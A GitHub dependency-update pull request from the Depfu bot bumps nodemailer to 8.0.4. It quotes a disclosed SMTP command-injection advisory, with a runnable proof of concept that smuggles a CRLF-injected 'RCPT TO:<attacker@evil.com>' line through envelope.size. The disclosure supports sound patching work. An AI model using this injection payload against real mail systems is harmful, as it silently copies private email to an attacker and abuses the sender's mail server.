Skip to content

🚨 [security] Update nodemailer 7.0.11 → 8.0.4 (major)#257

Closed
depfu[bot] wants to merge 1 commit intomainfrom
depfu-update-npm-nodemailer-8.0.4
Closed

🚨 [security] Update nodemailer 7.0.11 → 8.0.4 (major)#257
depfu[bot] wants to merge 1 commit intomainfrom
depfu-update-npm-nodemailer-8.0.4

Conversation

@depfu
Copy link
Copy Markdown
Contributor

@depfu depfu bot commented Mar 27, 2026


🚨 Your current dependencies have known security vulnerabilities 🚨

This dependency update fixes known security vulnerabilities. Please see the details below and assess their impact carefully. We recommend to merge and deploy this as soon as possible!


Here is everything you need to know about this upgrade. Please take a good look at what changed and the test results before merging this pull request.

What changed?

✳️ nodemailer (7.0.11 → 8.0.4) · Repo · Changelog

Security Advisories 🚨

🚨 Nodemailer has SMTP command injection due to unsanitized `envelope.size` parameter

Summary

When a custom envelope object is passed to sendMail() with a size property containing CRLF characters (\r\n), the value is concatenated directly into the SMTP MAIL FROM command without sanitization. This allows injection of arbitrary SMTP commands, including RCPT TO — silently adding attacker-controlled recipients to outgoing emails.

Details

In lib/smtp-connection/index.js (lines 1161-1162), the envelope.size value is concatenated into the SMTP MAIL FROM command without any CRLF sanitization:

if (this._envelope.size && this._supportedExtensions.includes('SIZE')) {
    args.push('SIZE=' + this._envelope.size);
}

This contrasts with other envelope parameters in the same function that ARE properly sanitized:

  • Addresses (from, to): validated for [\r\n<>] at lines 1107-1127
  • DSN parameters (dsn.ret, dsn.envid, dsn.orcpt): encoded via encodeXText() at lines 1167-1183

The size property reaches this code path through MimeNode.setEnvelope() in lib/mime-node/index.js (lines 854-858), which copies all non-standard envelope properties verbatim:

const standardFields = ['to', 'cc', 'bcc', 'from'];
Object.keys(envelope).forEach(key => {
    if (!standardFields.includes(key)) {
        this._envelope[key] = envelope[key];
    }
});

Since _sendCommand() writes the command string followed by \r\n to the raw TCP socket, a CRLF in the size value terminates the MAIL FROM command and starts a new SMTP command.

Note: by default, Nodemailer constructs the envelope automatically from the message's from/to fields and does not include size. This vulnerability requires the application to explicitly pass a custom envelope object with a size property to sendMail().
While this limits the attack surface, applications that expose envelope configuration to users are affected.

PoC

ave the following as poc.js and run with node poc.js:

const net = require('net');
const nodemailer = require('nodemailer');

// Minimal SMTP server that logs raw commands
const server = net.createServer(socket => {
socket.write('220 localhost ESMTP\r\n');
let buffer = '';
socket.on('data', chunk => {
buffer += chunk.toString();
const lines = buffer.split('\r\n');
buffer = lines.pop();
for (const line of lines) {
if (!line) continue;
console.log('C:', line);
if (line.startsWith('EHLO')) {
socket.write('250-localhost\r\n250-SIZE 10485760\r\n250 OK\r\n');
} else if (line.startsWith('MAIL FROM')) {
socket.write('250 OK\r\n');
} else if (line.startsWith('RCPT TO')) {
socket.write('250 OK\r\n');
} else if (line === 'DATA') {
socket.write('354 Start\r\n');
} else if (line === '.') {
socket.write('250 OK\r\n');
} else if (line.startsWith('QUIT')) {
socket.write('221 Bye\r\n');
socket.end();
}
}
});
});

server.listen(0, '127.0.0.1', () => {
const port = server.address().port;
console.log('SMTP server on port', port);
console.log('Sending email with injected RCPT TO...\n');

<span class="pl-k">const</span> <span class="pl-s1">transporter</span> <span class="pl-c1">=</span> <span class="pl-s1">nodemailer</span><span class="pl-kos">.</span><span class="pl-en">createTransport</span><span class="pl-kos">(</span><span class="pl-kos">{</span>
    <span class="pl-c1">host</span>: <span class="pl-s">'127.0.0.1'</span><span class="pl-kos">,</span>
    port<span class="pl-kos">,</span>
    <span class="pl-c1">secure</span>: <span class="pl-c1">false</span><span class="pl-kos">,</span>
    <span class="pl-c1">tls</span>: <span class="pl-kos">{</span> <span class="pl-c1">rejectUnauthorized</span>: <span class="pl-c1">false</span> <span class="pl-kos">}</span><span class="pl-kos">,</span>
<span class="pl-kos">}</span><span class="pl-kos">)</span><span class="pl-kos">;</span>

<span class="pl-s1">transporter</span><span class="pl-kos">.</span><span class="pl-en">sendMail</span><span class="pl-kos">(</span><span class="pl-kos">{</span>
    <span class="pl-c1">from</span>: <span class="pl-s">'sender@example.com'</span><span class="pl-kos">,</span>
    <span class="pl-c1">to</span>: <span class="pl-s">'recipient@example.com'</span><span class="pl-kos">,</span>
    <span class="pl-c1">subject</span>: <span class="pl-s">'Normal email'</span><span class="pl-kos">,</span>
    <span class="pl-c1">text</span>: <span class="pl-s">'This is a normal email.'</span><span class="pl-kos">,</span>
    <span class="pl-c1">envelope</span>: <span class="pl-kos">{</span>
        <span class="pl-c1">from</span>: <span class="pl-s">'sender@example.com'</span><span class="pl-kos">,</span>
        <span class="pl-c1">to</span>: <span class="pl-kos">[</span><span class="pl-s">'recipient@example.com'</span><span class="pl-kos">]</span><span class="pl-kos">,</span>
        <span class="pl-c1">size</span>: <span class="pl-s">'100\r\nRCPT TO:&lt;attacker@evil.com&gt;'</span><span class="pl-kos">,</span>
    <span class="pl-kos">}</span><span class="pl-kos">,</span>
<span class="pl-kos">}</span><span class="pl-kos">,</span> <span class="pl-kos">(</span><span class="pl-s1">err</span><span class="pl-kos">)</span> <span class="pl-c1">=&gt;</span> <span class="pl-kos">{</span>
    <span class="pl-k">if</span> <span class="pl-kos">(</span><span class="pl-s1">err</span><span class="pl-kos">)</span> <span class="pl-smi">console</span><span class="pl-kos">.</span><span class="pl-en">error</span><span class="pl-kos">(</span><span class="pl-s">'Error:'</span><span class="pl-kos">,</span> <span class="pl-s1">err</span><span class="pl-kos">.</span><span class="pl-c1">message</span><span class="pl-kos">)</span><span class="pl-kos">;</span>
    <span class="pl-smi">console</span><span class="pl-kos">.</span><span class="pl-en">log</span><span class="pl-kos">(</span><span class="pl-s">'\nExpected output above:'</span><span class="pl-kos">)</span><span class="pl-kos">;</span>
    <span class="pl-smi">console</span><span class="pl-kos">.</span><span class="pl-en">log</span><span class="pl-kos">(</span><span class="pl-s">'  C: MAIL FROM:&lt;sender@example.com&gt; SIZE=100'</span><span class="pl-kos">)</span><span class="pl-kos">;</span>
    <span class="pl-smi">console</span><span class="pl-kos">.</span><span class="pl-en">log</span><span class="pl-kos">(</span><span class="pl-s">'  C: RCPT TO:&lt;attacker@evil.com&gt;        &lt;-- INJECTED'</span><span class="pl-kos">)</span><span class="pl-kos">;</span>
    <span class="pl-smi">console</span><span class="pl-kos">.</span><span class="pl-en">log</span><span class="pl-kos">(</span><span class="pl-s">'  C: RCPT TO:&lt;recipient@example.com&gt;'</span><span class="pl-kos">)</span><span class="pl-kos">;</span>
    <span class="pl-s1">server</span><span class="pl-kos">.</span><span class="pl-en">close</span><span class="pl-kos">(</span><span class="pl-kos">)</span><span class="pl-kos">;</span>
    <span class="pl-s1">transporter</span><span class="pl-kos">.</span><span class="pl-en">close</span><span class="pl-kos">(</span><span class="pl-kos">)</span><span class="pl-kos">;</span>
<span class="pl-kos">}</span><span class="pl-kos">)</span><span class="pl-kos">;</span>

});

Expected output:

SMTP server on port 12345
Sending email with injected RCPT TO...

C: EHLO [127.0.0.1]
C: MAIL FROM:<sender@example.com> SIZE=100
C: RCPT TO:<attacker@evil.com>
C: RCPT TO:<recipient@example.com>
C: DATA
...
C: .
C: QUIT

The RCPT TO:<attacker@evil.com> line is injected by the CRLF in the size field, silently adding an extra recipient to the email.

Impact

This is an SMTP command injection vulnerability. An attacker who can influence the envelope.size property in a sendMail() call can:

  • Silently add hidden recipients to outgoing emails via injected RCPT TO commands, receiving copies of all emails sent through the affected transport
  • Inject arbitrary SMTP commands (e.g., RSET, additional MAIL FROM to send entirely separate emails through the server)
  • Leverage the sending organization's SMTP server reputation for spam or phishing delivery

The severity is mitigated by the fact that the envelope object must be explicitly provided by the application. Nodemailer's default envelope construction from message headers does not include size. Applications that pass through user-controlled data to the envelope options (e.g., via API parameters, admin panels, or template configurations) are vulnerable.

Affected versions: at least v8.0.3 (current); likely all versions where envelope.size is supported.

Release Notes

8.0.4

8.0.4 (2026-03-25)

Bug Fixes

  • sanitize envelope size to prevent SMTP command injection (2d7b971)

8.0.3

8.0.3 (2026-03-18)

Bug Fixes

  • clean up addressparser and fix group name fallback producing undefined (9d55877)
  • fix cookie bugs, remove dead code, and improve hot-path efficiency (e8c8b92)
  • refactor smtp-connection for clarity and add Node.js 6 syntax compat test (c5b48ea)
  • remove familySupportCache that broke DNS resolution tests (c803d90)

8.0.2

8.0.2 (2026-03-09)

Bug Fixes

  • merge fragmented display names with unquoted commas in addressparser (fe27f7f)

8.0.1

8.0.1 (2026-02-07)

Bug Fixes

  • absorb TLS errors during socket teardown (7f8dde4)
  • absorb TLS errors during socket teardown (381f628)
  • Add Gmail Workspace service configuration (#1787) (dc97ede)

8.0.0

8.0.0 (2026-02-04)

⚠ BREAKING CHANGES

  • Error code 'NoAuth' renamed to 'ENOAUTH'

Bug Fixes

  • add connection fallback to alternative DNS addresses (e726d6f)
  • centralize and standardize error codes (45062ce)
  • harden DNS fallback against race conditions and cleanup issues (4fa3c63)
  • improve socket cleanup to prevent potential memory leaks (6069fdc)

7.0.13

7.0.13 (2026-01-27)

Bug Fixes

  • downgrade transient connection error logs to warn level (4c041db)

7.0.12

7.0.12 (2025-12-22)

Bug Fixes

  • added support for REQUIRETLS (#1793) (053ce6a)
  • use 8bit encoding for message/rfc822 attachments (adf8611)

Does any of this look wrong? Please let us know.

Commits

See the full diff on Github. The new version differs by 32 commits:


Depfu Status

Depfu will automatically keep this PR conflict-free, as long as you don't add any commits to this branch yourself. You can also trigger a rebase manually by commenting with @depfu rebase.

All Depfu comment commands
@​depfu rebase
Rebases against your default branch and redoes this update
@​depfu recreate
Recreates this PR, overwriting any edits that you've made to it
@​depfu merge
Merges this PR once your tests are passing and conflicts are resolved
@​depfu cancel merge
Cancels automatic merging of this PR
@​depfu close
Closes this PR and deletes the branch
@​depfu reopen
Restores the branch and reopens this PR (if it's closed)
@​depfu pause
Ignores all future updates for this dependency and closes this PR
@​depfu pause [minor|major]
Ignores all future minor/major updates for this dependency and closes this PR
@​depfu resume
Future versions of this dependency will create PRs again (leaves this PR as is)
Go to the Depfu Dashboard to see the state of your dependencies and to customize how Depfu works.

@depfu depfu bot added dependencies Only updates dependecies depfu labels Mar 27, 2026
@depfu depfu bot assigned Tobi2K Mar 27, 2026
@depfu
Copy link
Copy Markdown
Contributor Author

depfu bot commented Apr 8, 2026

Closed in favor of #261.

@depfu depfu bot closed this Apr 8, 2026
@depfu depfu bot deleted the depfu-update-npm-nodemailer-8.0.4 branch April 8, 2026 16:07
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

dependencies Only updates dependecies depfu

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant